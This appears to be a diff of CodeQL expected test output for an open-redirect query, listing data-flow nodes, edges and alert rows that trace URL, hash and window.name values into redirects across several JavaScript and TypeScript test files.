+| tst10.js:6:24:6:60 | documen ... ring(1) | semmle.label | documen ... ring(1) |
+| tst10.js:8:17:8:63 | '//foo' ... ring(1) | semmle.label | '//foo' ... ring(1) |
+| tst10.js:8:27:8:50 | documen ... .search | semmle.label | documen ... .search |
+| tst10.js:8:27:8:63 | documen ... ring(1) | semmle.label | documen ... ring(1) |
+| tst10.js:10:17:10:69 | 'https: ... ring(1) | semmle.label | 'https: ... ring(1) |
+| tst10.js:10:33:10:56 | documen ... .search | semmle.label | documen ... .search |
+| tst10.js:10:33:10:69 | documen ... ring(1) | semmle.label | documen ... ring(1) |
 | tst13.js:2:9:2:52 | payload | semmle.label | payload |
 | tst13.js:2:19:2:42 | documen ... .search | semmle.label | documen ... .search |
 | tst13.js:2:19:2:52 | documen ... bstr(1) | semmle.label | documen ... bstr(1) |
@@ -155,27 +379,27 @@ nodes
 | tst16.js:7:21:7:57 | queryst ... search) | semmle.label | queryst ... search) |
 | tst16.js:7:21:7:62 | queryst ... h).data | semmle.label | queryst ... h).data |
 | tst16.js:7:42:7:56 | location.search | semmle.label | location.search |
-| tst.js:2:19:2:69 | /.*redi ... n.href) | semmle.label | /.*redi ... n.href) |
-| tst.js:2:19:2:72 | /.*redi ... ref)[1] | semmle.label | /.*redi ... ref)[1] |
-| tst.js:2:47:2:68 | documen ... on.href | semmle.label | documen ... on.href |
-| tst.js:6:20:6:56 | indirec ... n.href) | semmle.label | indirec ... n.href) |
-| tst.js:6:20:6:59 | indirec ... ref)[1] | semmle.label | indirec ... ref)[1] |
-| tst.js:6:34:6:55 | documen ... on.href | semmle.label | documen ... on.href |
-| tst.js:10:19:10:81 | new Reg ... n.href) | semmle.label | new Reg ... n.href) |
-| tst.js:10:19:10:84 | new Reg ... ref)[1] | semmle.label | new Reg ... ref)[1] |
-| tst.js:10:59:10:80 | documen ... on.href | semmle.label | documen ... on.href |
-| tst.js:14:20:14:56 | indirec ... n.href) | semmle.label | indirec ... n.href) |
-| tst.js:14:20:14:59 | indirec ... ref)[1] | semmle.label | indirec ... ref)[1] |
-| tst.js:14:34:14:55 | documen ... on.href | semmle.label | documen ... on.href |
-| tst.js:18:19:18:81 | new Reg ... n.href) | semmle.label | new Reg ... n.href) |
-| tst.js:18:19:18:84 | new Reg ... ref)[1] | semmle.label | new Reg ... ref)[1] |
-| tst.js:18:59:18:80 | documen ... on.href | semmle.label | documen ... on.href |
-| tst.js:22:20:22:56 | indirec ... n.href) | semmle.label | indirec ... n.href) |
-| tst.js:22:20:22:59 | indirec ... ref)[1] | semmle.label | indirec ... ref)[1] |
-| tst.js:22:34:22:55 | documen ... on.href | semmle.label | documen ... on.href |
-| tst.js:26:22:26:79 | new Reg ... n.href) | semmle.label | new Reg ... n.href) |
-| tst.js:26:22:26:82 | new Reg ... ref)[1] | semmle.label | new Reg ... ref)[1] |
-| tst.js:26:62:26:78 | win.location.href | semmle.label | win.location.href |
+| tst.js:1:19:1:69 | /.*redi ... n.href) | semmle.label | /.*redi ... n.href) |
+| tst.js:1:19:1:72 | /.*redi ... ref)[1] | semmle.label | /.*redi ... ref)[1] |
+| tst.js:1:47:1:68 | documen ... on.href | semmle.label | documen ... on.href |
+| tst.js:5:20:5:56 | indirec ... n.href) | semmle.label | indirec ... n.href) |
+| tst.js:5:20:5:59 | indirec ... ref)[1] | semmle.label | indirec ... ref)[1] |
+| tst.js:5:34:5:55 | documen ... on.href | semmle.label | documen ... on.href |
+| tst.js:8:19:8:81 | new Reg ... n.href) | semmle.label | new Reg ... n.href) |
+| tst.js:8:19:8:84 | new Reg ... ref)[1] | semmle.label | new Reg ... ref)[1] |
+| tst.js:8:59:8:80 | documen ... on.href | semmle.label | documen ... on.href |
+| tst.js:12:20:12:56 | indirec ... n.href) | semmle.label | indirec ... n.href) |
+| tst.js:12:20:12:59 | indirec ... ref)[1] | semmle.label | indirec ... ref)[1] |
+| tst.js:12:34:12:55 | documen ... on.href | semmle.label | documen ... on.href |
+| tst.js:15:19:15:81 | new Reg ... n.href) | semmle.label | new Reg ... n.href) |
+| tst.js:15:19:15:84 | new Reg ... ref)[1] | semmle.label | new Reg ... ref)[1] |
+| tst.js:15:59:15:80 | documen ... on.href | semmle.label | documen ... on.href |
+| tst.js:19:20:19:56 | indirec ... n.href) | semmle.label | indirec ... n.href) |
+| tst.js:19:20:19:59 | indirec ... ref)[1] | semmle.label | indirec ... ref)[1] |
+| tst.js:19:34:19:55 | documen ... on.href | semmle.label | documen ... on.href |
+| tst.js:23:22:23:79 | new Reg ... n.href) | semmle.label | new Reg ... n.href) |
+| tst.js:23:22:23:82 | new Reg ... ref)[1] | semmle.label | new Reg ... ref)[1] |
+| tst.js:23:62:23:78 | win.location.href | semmle.label | win.location.href |
 | typed.ts:4:13:4:49 | params | semmle.label | params |
 | typed.ts:4:22:4:36 | location.search | semmle.label | location.search |
 | typed.ts:4:22:4:49 | locatio ... ring(1) | semmle.label | locatio ... ring(1) |
@@ -194,228 +418,4 @@ nodes
 | typed.ts:52:33:52:43 | redirectUri | semmle.label | redirectUri |
 | typed.ts:55:25:55:35 | redirectUri | semmle.label | redirectUri |
 | typed.ts:56:33:56:43 | redirectUri | semmle.label | redirectUri |
-edges
-| electron.js:4:12:4:22 | window.name | electron.js:7:20:7:29 | getTaint() | provenance |  |
-| react.js:10:60:10:81 | documen ... on.hash | react.js:10:60:10:91 | documen ... bstr(1) | provenance | Config |
-| react.js:23:19:23:40 | documen ... on.hash | react.js:23:19:23:50 | documen ... bstr(1) | provenance | Config |
-| react.js:31:43:31:64 | documen ... on.hash | react.js:31:43:31:74 | documen ... bstr(1) | provenance | Config |
-| react.js:37:43:37:64 | documen ... on.hash | react.js:37:43:37:74 | documen ... bstr(1) | provenance | Config |
-| react.js:43:19:43:40 | documen ... on.hash | react.js:43:19:43:50 | documen ... bstr(1) | provenance | Config |
-| regexp-exec.js:4:11:4:20 | [, group1] | regexp-exec.js:4:11:4:57 | group1 | provenance |  |
-| regexp-exec.js:4:11:4:57 | group1 | regexp-exec.js:5:28:5:33 | group1 | provenance |  |
-| regexp-exec.js:4:24:4:57 | /#(.*)/ ... n.href) | regexp-exec.js:4:11:4:20 | [, group1] | provenance |  |
-| regexp-exec.js:4:37:4:56 | window.location.href | regexp-exec.js:4:24:4:57 | /#(.*)/ ... n.href) | provenance | Config |
-| regexp-exec.js:9:11:9:20 | [, group1] | regexp-exec.js:9:11:9:58 | group1 | provenance |  |
-| regexp-exec.js:9:11:9:58 | group1 | regexp-exec.js:10:28:10:33 | group1 | provenance |  |
-| regexp-exec.js:9:24:9:58 | /\\?(.*) ... n.href) | regexp-exec.js:9:11:9:20 | [, group1] | provenance |  |
-| regexp-exec.js:9:38:9:57 | window.location.href | regexp-exec.js:9:24:9:58 | /\\?(.*) ... n.href) | provenance | Config |
-| regexp-exec.js:29:11:29:20 | [, group1] | regexp-exec.js:29:11:29:58 | group1 | provenance |  |
-| regexp-exec.js:29:11:29:58 | group1 | regexp-exec.js:30:28:30:33 | group1 | provenance |  |
-| regexp-exec.js:29:24:29:43 | window.location.href | regexp-exec.js:29:24:29:58 | window. ... #(.*)/) | provenance | Config |
-| regexp-exec.js:29:24:29:58 | window. ... #(.*)/) | regexp-exec.js:29:11:29:20 | [, group1] | provenance |  |
-| regexp-exec.js:34:11:34:20 | [, group1] | regexp-exec.js:34:11:34:64 | group1 | provenance |  |
-| regexp-exec.js:34:11:34:64 | group1 | regexp-exec.js:35:28:35:33 | group1 | provenance |  |
-| regexp-exec.js:34:24:34:43 | window.location.href | regexp-exec.js:34:24:34:61 | window. ... #(.*)/) | provenance | Config |
-| regexp-exec.js:34:24:34:61 | window. ... #(.*)/) | regexp-exec.js:34:11:34:20 | [, group1] | provenance |  |
-| regexp-exec.js:39:11:39:20 | [, group1] | regexp-exec.js:39:11:39:71 | group1 | provenance |  |
-| regexp-exec.js:39:11:39:71 | group1 | regexp-exec.js:40:28:40:33 | group1 | provenance |  |
-| regexp-exec.js:39:24:39:71 | new Reg ... n.href) | regexp-exec.js:39:11:39:20 | [, group1] | provenance |  |
-| regexp-exec.js:39:51:39:70 | window.location.href | regexp-exec.js:39:24:39:71 | new Reg ... n.href) | provenance | Config |
-| sanitizer.js:2:9:2:25 | url | sanitizer.js:4:27:4:29 | url | provenance |  |
-| sanitizer.js:2:9:2:25 | url | sanitizer.js:16:27:16:29 | url | provenance |  |
-| sanitizer.js:2:9:2:25 | url | sanitizer.js:19:27:19:29 | url | provenance |  |
-| sanitizer.js:2:9:2:25 | url | sanitizer.js:22:27:22:29 | url | provenance |  |
-| sanitizer.js:2:9:2:25 | url | sanitizer.js:25:27:25:29 | url | provenance |  |
-| sanitizer.js:2:9:2:25 | url | sanitizer.js:28:27:28:29 | url | provenance |  |
-| sanitizer.js:2:9:2:25 | url | sanitizer.js:31:27:31:29 | url | provenance |  |
-| sanitizer.js:2:9:2:25 | url | sanitizer.js:37:27:37:29 | url | provenance |  |
-| sanitizer.js:2:15:2:25 | window.name | sanitizer.js:2:9:2:25 | url | provenance |  |
-| tst2.js:2:7:2:33 | href | tst2.js:4:21:4:24 | href | provenance |  |
-| tst2.js:2:14:2:33 | window.location.href | tst2.js:2:7:2:33 | href | provenance |  |
-| tst2.js:4:21:4:24 | href | tst2.js:4:21:4:55 | href.su ... '?')+1) | provenance | Config |
-| tst6.js:2:7:2:45 | redirect | tst6.js:4:21:4:28 | redirect | provenance |  |
-| tst6.js:2:7:2:45 | redirect | tst6.js:6:17:6:24 | redirect | provenance |  |
-| tst6.js:2:18:2:45 | $locati ... irect') | tst6.js:2:7:2:45 | redirect | provenance |  |
-| tst6.js:8:21:8:48 | $locati ... irect') | tst6.js:8:21:8:56 | $locati ... + "foo" | provenance |  |
-| tst7.js:2:12:2:35 | documen ... .search | tst7.js:2:12:2:48 | documen ... ring(1) | provenance | Config |
-| tst7.js:5:27:5:50 | documen ... .search | tst7.js:5:27:5:63 | documen ... ring(1) | provenance | Config |
-| tst9.js:2:21:2:42 | documen ... on.hash | tst9.js:2:21:2:55 | documen ... ring(1) | provenance | Config |
-| tst10.js:5:23:5:46 | documen ... .search | tst10.js:5:23:5:59 | documen ... ring(1) | provenance | Config |
-| tst10.js:5:23:5:59 | documen ... ring(1) | tst10.js:5:17:5:59 | '/' + d ... ring(1) | provenance |  |
-| tst10.js:8:24:8:47 | documen ... .search | tst10.js:8:24:8:60 | documen ... ring(1) | provenance | Config |
-| tst10.js:8:24:8:60 | documen ... ring(1) | tst10.js:8:17:8:60 | '//' +  ... ring(1) | provenance |  |
-| tst10.js:11:27:11:50 | documen ... .search | tst10.js:11:27:11:63 | documen ... ring(1) | provenance | Config |
-| tst10.js:11:27:11:63 | documen ... ring(1) | tst10.js:11:17:11:63 | '//foo' ... ring(1) | provenance |  |
-| tst10.js:14:33:14:56 | documen ... .search | tst10.js:14:33:14:69 | documen ... ring(1) | provenance | Config |
-| tst10.js:14:33:14:69 | documen ... ring(1) | tst10.js:14:17:14:69 | 'https: ... ring(1) | provenance |  |
-| tst13.js:2:9:2:52 | payload | tst13.js:4:15:4:21 | payload | provenance |  |
-| tst13.js:2:9:2:52 | payload | tst13.js:8:21:8:27 | payload | provenance |  |
-| tst13.js:2:9:2:52 | payload | tst13.js:12:14:12:20 | payload | provenance |  |
-| tst13.js:2:9:2:52 | payload | tst13.js:16:17:16:23 | payload | provenance |  |
-| tst13.js:2:9:2:52 | payload | tst13.js:20:14:20:20 | payload | provenance |  |
-| tst13.js:2:9:2:52 | payload | tst13.js:24:14:24:20 | payload | provenance |  |
-| tst13.js:2:9:2:52 | payload | tst13.js:28:21:28:27 | payload | provenance |  |
-| tst13.js:2:9:2:52 | payload | tst13.js:32:17:32:23 | payload | provenance |  |
-| tst13.js:2:9:2:52 | payload | tst13.js:36:21:36:27 | payload | provenance |  |
-| tst13.js:2:9:2:52 | payload | tst13.js:40:15:40:21 | payload | provenance |  |
-| tst13.js:2:9:2:52 | payload | tst13.js:44:14:44:20 | payload | provenance |  |
-| tst13.js:2:19:2:42 | documen ... .search | tst13.js:2:19:2:52 | documen ... bstr(1) | provenance | Config |
-| tst13.js:2:19:2:52 | documen ... bstr(1) | tst13.js:2:9:2:52 | payload | provenance |  |
-| tst13.js:49:32:49:32 | e | tst13.js:50:23:50:23 | e | provenance |  |
-| tst13.js:52:34:52:34 | e | tst13.js:53:28:53:28 | e | provenance |  |
-| tst13.js:59:9:59:52 | payload | tst13.js:61:18:61:24 | payload | provenance |  |
-| tst13.js:59:19:59:42 | documen ... .search | tst13.js:59:19:59:52 | documen ... bstr(1) | provenance | Config |
-| tst13.js:59:19:59:52 | documen ... bstr(1) | tst13.js:59:9:59:52 | payload | provenance |  |
-| tst13.js:65:9:65:49 | payload | tst13.js:67:21:67:27 | payload | provenance |  |
-| tst13.js:65:19:65:39 | history ... on.hash | tst13.js:65:19:65:49 | history ... bstr(1) | provenance |  |
-| tst13.js:65:19:65:49 | history ... bstr(1) | tst13.js:65:9:65:49 | payload | provenance |  |
-| tst13.js:72:9:72:49 | payload | tst13.js:74:21:74:27 | payload | provenance |  |
-| tst13.js:72:19:72:39 | history ... on.hash | tst13.js:72:19:72:49 | history ... bstr(1) | provenance |  |
-| tst13.js:72:19:72:49 | history ... bstr(1) | tst13.js:72:9:72:49 | payload | provenance |  |
-| tst13.js:78:9:78:48 | url | tst13.js:80:21:80:23 | url | provenance |  |
-| tst13.js:78:9:78:48 | url | tst13.js:81:28:81:30 | url | provenance |  |
-| tst13.js:78:9:78:48 | url | tst13.js:82:27:82:29 | url | provenance |  |
-| tst13.js:78:9:78:48 | url | tst13.js:83:22:83:24 | url | provenance |  |
-| tst13.js:78:15:78:38 | documen ... .search | tst13.js:78:15:78:48 | documen ... bstr(1) | provenance | Config |
-| tst13.js:78:15:78:48 | documen ... bstr(1) | tst13.js:78:9:78:48 | url | provenance |  |
-| tst15.js:2:9:2:42 | url | tst15.js:3:23:3:25 | url | provenance |  |
-| tst15.js:2:9:2:42 | url | tst15.js:4:23:4:25 | url | provenance |  |
-| tst15.js:2:9:2:42 | url | tst15.js:5:23:5:25 | url | provenance |  |
-| tst15.js:2:15:2:31 | document.location | tst15.js:2:15:2:42 | documen ... tring() | provenance |  |
-| tst15.js:2:15:2:42 | documen ... tring() | tst15.js:2:9:2:42 | url | provenance |  |
-| tst15.js:3:23:3:25 | url | tst15.js:3:23:3:38 | url.substring(0) | provenance |  |
-| tst15.js:3:23:3:38 | url.substring(0) | tst15.js:3:23:3:51 | url.sub ... ring(1) | provenance | Config |
-| tst15.js:4:23:4:25 | url | tst15.js:4:23:4:42 | url.substring(0, 10) | provenance |  |
-| tst15.js:4:23:4:42 | url.substring(0, 10) | tst15.js:4:23:4:55 | url.sub ... ring(1) | provenance | Config |
-| tst15.js:5:23:5:25 | url | tst15.js:5:23:5:60 | url.sub ... ', 10)) | provenance |  |
-| tst15.js:5:23:5:60 | url.sub ... ', 10)) | tst15.js:5:23:5:73 | url.sub ... ring(1) | provenance | Config |
-| tst15.js:7:9:7:43 | url2 | tst15.js:8:23:8:26 | url2 | provenance |  |
-| tst15.js:7:9:7:43 | url2 | tst15.js:9:23:9:26 | url2 | provenance |  |
-| tst15.js:7:9:7:43 | url2 | tst15.js:10:23:10:26 | url2 | provenance |  |
-| tst15.js:7:16:7:32 | document.location | tst15.js:7:16:7:43 | documen ... tring() | provenance |  |
-| tst15.js:7:16:7:43 | documen ... tring() | tst15.js:7:9:7:43 | url2 | provenance |  |
-| tst15.js:8:23:8:26 | url2 | tst15.js:8:23:8:39 | url2.substring(0) | provenance |  |
-| tst15.js:8:23:8:39 | url2.substring(0) | tst15.js:8:23:8:60 | url2.su ... nown()) | provenance | Config |
-| tst15.js:9:23:9:26 | url2 | tst15.js:9:23:9:43 | url2.su ... (0, 10) | provenance |  |
-| tst15.js:9:23:9:43 | url2.su ... (0, 10) | tst15.js:9:23:9:64 | url2.su ... nown()) | provenance | Config |
-| tst15.js:10:23:10:26 | url2 | tst15.js:10:23:10:62 | url2.su ... ', 10)) | provenance |  |
-| tst15.js:10:23:10:62 | url2.su ... ', 10)) | tst15.js:10:23:10:83 | url2.su ... nown()) | provenance | Config |
-| tst15.js:12:9:12:52 | search | tst15.js:13:23:13:28 | search | provenance |  |
-| tst15.js:12:9:12:52 | search | tst15.js:14:23:14:28 | search | provenance |  |
-| tst15.js:12:9:12:52 | search | tst15.js:15:23:15:28 | search | provenance |  |
-| tst15.js:12:18:12:41 | documen ... .search | tst15.js:12:18:12:52 | documen ... tring() | provenance |  |
-| tst15.js:12:18:12:52 | documen ... tring() | tst15.js:12:9:12:52 | search | provenance |  |
-| tst15.js:13:23:13:28 | search | tst15.js:13:23:13:41 | search.substring(0) | provenance |  |
-| tst15.js:13:23:13:41 | search.substring(0) | tst15.js:13:23:13:54 | search. ... ring(1) | provenance | Config |
-| tst15.js:14:23:14:28 | search | tst15.js:14:23:14:45 | search. ... (0, 10) | provenance |  |
-| tst15.js:14:23:14:45 | search. ... (0, 10) | tst15.js:14:23:14:58 | search. ... ring(1) | provenance | Config |
-| tst15.js:15:23:15:28 | search | tst15.js:15:23:15:66 | search. ... ', 10)) | provenance |  |
-| tst15.js:15:23:15:66 | search. ... ', 10)) | tst15.js:15:23:15:79 | search. ... ring(1) | provenance | Config |
-| tst16.js:5:21:5:54 | querySt ... search) | tst16.js:5:21:5:59 | querySt ... h).data | provenance |  |
-| tst16.js:5:39:5:53 | location.search | tst16.js:5:21:5:54 | querySt ... search) | provenance | Config |
-| tst16.js:6:41:6:55 | location.search | tst16.js:6:21:6:56 | querySt ... search) | provenance | Config |
-| tst16.js:7:21:7:57 | queryst ... search) | tst16.js:7:21:7:62 | queryst ... h).data | provenance |  |
-| tst16.js:7:42:7:56 | location.search | tst16.js:7:21:7:57 | queryst ... search) | provenance | Config |
-| tst.js:2:19:2:69 | /.*redi ... n.href) | tst.js:2:19:2:72 | /.*redi ... ref)[1] | provenance |  |
-| tst.js:2:47:2:68 | documen ... on.href | tst.js:2:19:2:69 | /.*redi ... n.href) | provenance | Config |
-| tst.js:6:20:6:56 | indirec ... n.href) | tst.js:6:20:6:59 | indirec ... ref)[1] | provenance |  |
-| tst.js:6:34:6:55 | documen ... on.href | tst.js:6:20:6:56 | indirec ... n.href) | provenance | Config |
-| tst.js:10:19:10:81 | new Reg ... n.href) | tst.js:10:19:10:84 | new Reg ... ref)[1] | provenance |  |
-| tst.js:10:59:10:80 | documen ... on.href | tst.js:10:19:10:81 | new Reg ... n.href) | provenance | Config |
-| tst.js:14:20:14:56 | indirec ... n.href) | tst.js:14:20:14:59 | indirec ... ref)[1] | provenance |  |
-| tst.js:14:34:14:55 | documen ... on.href | tst.js:14:20:14:56 | indirec ... n.href) | provenance | Config |
-| tst.js:18:19:18:81 | new Reg ... n.href) | tst.js:18:19:18:84 | new Reg ... ref)[1] | provenance |  |
-| tst.js:18:59:18:80 | documen ... on.href | tst.js:18:19:18:81 | new Reg ... n.href) | provenance | Config |
-| tst.js:22:20:22:56 | indirec ... n.href) | tst.js:22:20:22:59 | indirec ... ref)[1] | provenance |  |
-| tst.js:22:34:22:55 | documen ... on.href | tst.js:22:20:22:56 | indirec ... n.href) | provenance | Config |
-| tst.js:26:22:26:79 | new Reg ... n.href) | tst.js:26:22:26:82 | new Reg ... ref)[1] | provenance |  |
-| tst.js:26:62:26:78 | win.location.href | tst.js:26:22:26:79 | new Reg ... n.href) | provenance | Config |
-| typed.ts:4:13:4:49 | params | typed.ts:5:25:5:30 | params | provenance |  |
-| typed.ts:4:22:4:36 | location.search | typed.ts:4:22:4:49 | locatio ... ring(1) | provenance | Config |
-| typed.ts:4:22:4:49 | locatio ... ring(1) | typed.ts:4:13:4:49 | params | provenance |  |
-| typed.ts:5:25:5:30 | params | typed.ts:7:24:7:34 | redirectUri | provenance |  |
-| typed.ts:7:24:7:34 | redirectUri | typed.ts:8:33:8:43 | redirectUri | provenance |  |
-| typed.ts:25:25:25:34 | loc.search | typed.ts:25:25:25:47 | loc.sea ... ring(1) | provenance | Config |
-| typed.ts:25:25:25:47 | loc.sea ... ring(1) | typed.ts:28:24:28:34 | redirectUri | provenance |  |
-| typed.ts:28:24:28:34 | redirectUri | typed.ts:29:33:29:43 | redirectUri | provenance |  |
-| typed.ts:47:25:47:34 | loc.search | typed.ts:47:25:47:47 | loc.sea ... ring(1) | provenance | Config |
-| typed.ts:47:25:47:47 | loc.sea ... ring(1) | typed.ts:51:24:51:34 | redirectUri | provenance |  |
-| typed.ts:48:26:48:36 | loc2.search | typed.ts:48:26:48:49 | loc2.se ... ring(1) | provenance | Config |
-| typed.ts:48:26:48:49 | loc2.se ... ring(1) | typed.ts:55:25:55:35 | redirectUri | provenance |  |
-| typed.ts:51:24:51:34 | redirectUri | typed.ts:52:33:52:43 | redirectUri | provenance |  |
-| typed.ts:55:25:55:35 | redirectUri | typed.ts:56:33:56:43 | redirectUri | provenance |  |
 subpaths
-#select
-| electron.js:7:20:7:29 | getTaint() | electron.js:4:12:4:22 | window.name | electron.js:7:20:7:29 | getTaint() | Untrusted URL redirection depends on a $@. | electron.js:4:12:4:22 | window.name | user-provided value |
-| react.js:10:60:10:91 | documen ... bstr(1) | react.js:10:60:10:81 | documen ... on.hash | react.js:10:60:10:91 | documen ... bstr(1) | Untrusted URL redirection depends on a $@. | react.js:10:60:10:81 | documen ... on.hash | user-provided value |
-| react.js:23:19:23:50 | documen ... bstr(1) | react.js:23:19:23:40 | documen ... on.hash | react.js:23:19:23:50 | documen ... bstr(1) | Untrusted URL redirection depends on a $@. | react.js:23:19:23:40 | documen ... on.hash | user-provided value |
-| react.js:31:43:31:74 | documen ... bstr(1) | react.js:31:43:31:64 | documen ... on.hash | react.js:31:43:31:74 | documen ... bstr(1) | Untrusted URL redirection depends on a $@. | react.js:31:43:31:64 | documen ... on.hash | user-provided value |
-| react.js:37:43:37:74 | documen ... bstr(1) | react.js:37:43:37:64 | documen ... on.hash | react.js:37:43:37:74 | documen ... bstr(1) | Untrusted URL redirection depends on a $@. | react.js:37:43:37:64 | documen ... on.hash | user-provided value |
-| react.js:43:19:43:50 | documen ... bstr(1) | react.js:43:19:43:40 | documen ... on.hash | react.js:43:19:43:50 | documen ... bstr(1) | Untrusted URL redirection depends on a $@. | react.js:43:19:43:40 | documen ... on.hash | user-provided value |
-| regexp-exec.js:5:28:5:33 | group1 | regexp-exec.js:4:37:4:56 | window.location.href | regexp-exec.js:5:28:5:33 | group1 | Untrusted URL redirection depends on a $@. | regexp-exec.js:4:37:4:56 | window.location.href | user-provided value |
-| regexp-exec.js:10:28:10:33 | group1 | regexp-exec.js:9:38:9:57 | window.location.href | regexp-exec.js:10:28:10:33 | group1 | Untrusted URL redirection depends on a $@. | regexp-exec.js:9:38:9:57 | window.location.href | user-provided value |
-| regexp-exec.js:30:28:30:33 | group1 | regexp-exec.js:29:24:29:43 | window.location.href | regexp-exec.js:30:28:30:33 | group1 | Untrusted URL redirection depends on a $@. | regexp-exec.js:29:24:29:43 | window.location.href | user-provided value |
-| regexp-exec.js:35:28:35:33 | group1 | regexp-exec.js:34:24:34:43 | window.location.href | regexp-exec.js:35:28:35:33 | group1 | Untrusted URL redirection depends on a $@. | regexp-exec.js:34:24:34:43 | window.location.href | user-provided value |
-| regexp-exec.js:40:28:40:33 | group1 | regexp-exec.js:39:51:39:70 | window.location.href | regexp-exec.js:40:28:40:33 | group1 | Untrusted URL redirection depends on a $@. | regexp-exec.js:39:51:39:70 | window.location.href | user-provided value |
-| sanitizer.js:4:27:4:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:4:27:4:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
-| sanitizer.js:16:27:16:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:16:27:16:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
-| sanitizer.js:19:27:19:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:19:27:19:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
-| sanitizer.js:22:27:22:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:22:27:22:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
-| sanitizer.js:25:27:25:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:25:27:25:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
-| sanitizer.js:28:27:28:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:28:27:28:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
-| sanitizer.js:31:27:31:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:31:27:31:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
-| sanitizer.js:37:27:37:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:37:27:37:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
-| tst2.js:4:21:4:55 | href.su ... '?')+1) | tst2.js:2:14:2:33 | window.location.href | tst2.js:4:21:4:55 | href.su ... '?')+1) | Untrusted URL redirection depends on a $@. | tst2.js:2:14:2:33 | window.location.href | user-provided value |
-| tst6.js:4:21:4:28 | redirect | tst6.js:2:18:2:45 | $locati ... irect') | tst6.js:4:21:4:28 | redirect | Untrusted URL redirection depends on a $@. | tst6.js:2:18:2:45 | $locati ... irect') | user-provided value |
-| tst6.js:6:17:6:24 | redirect | tst6.js:2:18:2:45 | $locati ... irect') | tst6.js:6:17:6:24 | redirect | Untrusted URL redirection depends on a $@. | tst6.js:2:18:2:45 | $locati ... irect') | user-provided value |
-| tst6.js:8:21:8:56 | $locati ... + "foo" | tst6.js:8:21:8:48 | $locati ... irect') | tst6.js:8:21:8:56 | $locati ... + "foo" | Untrusted URL redirection depends on a $@. | tst6.js:8:21:8:48 | $locati ... irect') | user-provided value |
-| tst7.js:2:12:2:48 | documen ... ring(1) | tst7.js:2:12:2:35 | documen ... .search | tst7.js:2:12:2:48 | documen ... ring(1) | Untrusted URL redirection depends on a $@. | tst7.js:2:12:2:35 | documen ... .search | user-provided value |
-| tst7.js:5:27:5:63 | documen ... ring(1) | tst7.js:5:27:5:50 | documen ... .search | tst7.js:5:27:5:63 | documen ... ring(1) | Untrusted URL redirection depends on a $@. | tst7.js:5:27:5:50 | documen ... .search | user-provided value |
-| tst9.js:2:21:2:55 | documen ... ring(1) | tst9.js:2:21:2:42 | documen ... on.hash | tst9.js:2:21:2:55 | documen ... ring(1) | Untrusted URL redirection depends on a $@. | tst9.js:2:21:2:42 | documen ... on.hash | user-provided value |
-| tst10.js:5:17:5:59 | '/' + d ... ring(1) | tst10.js:5:23:5:46 | documen ... .search | tst10.js:5:17:5:59 | '/' + d ... ring(1) | Untrusted URL redirection depends on a $@. | tst10.js:5:23:5:46 | documen ... .search | user-provided value |
-| tst10.js:8:17:8:60 | '//' +  ... ring(1) | tst10.js:8:24:8:47 | documen ... .search | tst10.js:8:17:8:60 | '//' +  ... ring(1) | Untrusted URL redirection depends on a $@. | tst10.js:8:24:8:47 | documen ... .search | user-provided value |
-| tst10.js:11:17:11:63 | '//foo' ... ring(1) | tst10.js:11:27:11:50 | documen ... .search | tst10.js:11:17:11:63 | '//foo' ... ring(1) | Untrusted URL redirection depends on a $@. | tst10.js:11:27:11:50 | documen ... .search | user-provided value |
-| tst10.js:14:17:14:69 | 'https: ... ring(1) | tst10.js:14:33:14:56 | documen ... .search | tst10.js:14:17:14:69 | 'https: ... ring(1) | Untrusted URL redirection depends on a $@. | tst10.js:14:33:14:56 | documen ... .search | user-provided value |
-| tst13.js:4:15:4:21 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:4:15:4:21 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
-| tst13.js:8:21:8:27 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:8:21:8:27 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
-| tst13.js:12:14:12:20 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:12:14:12:20 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
-| tst13.js:16:17:16:23 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:16:17:16:23 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
-| tst13.js:20:14:20:20 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:20:14:20:20 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
-| tst13.js:24:14:24:20 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:24:14:24:20 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
-| tst13.js:28:21:28:27 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:28:21:28:27 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
-| tst13.js:32:17:32:23 | payload | tst13.js:2:19:2:42 | documen ... .search | tst13.js:32:17:32:23 | payload | Untrusted URL redirection depends on a $@. | tst13.js:2:19:2:42 | documen ... .search | user-provided value |
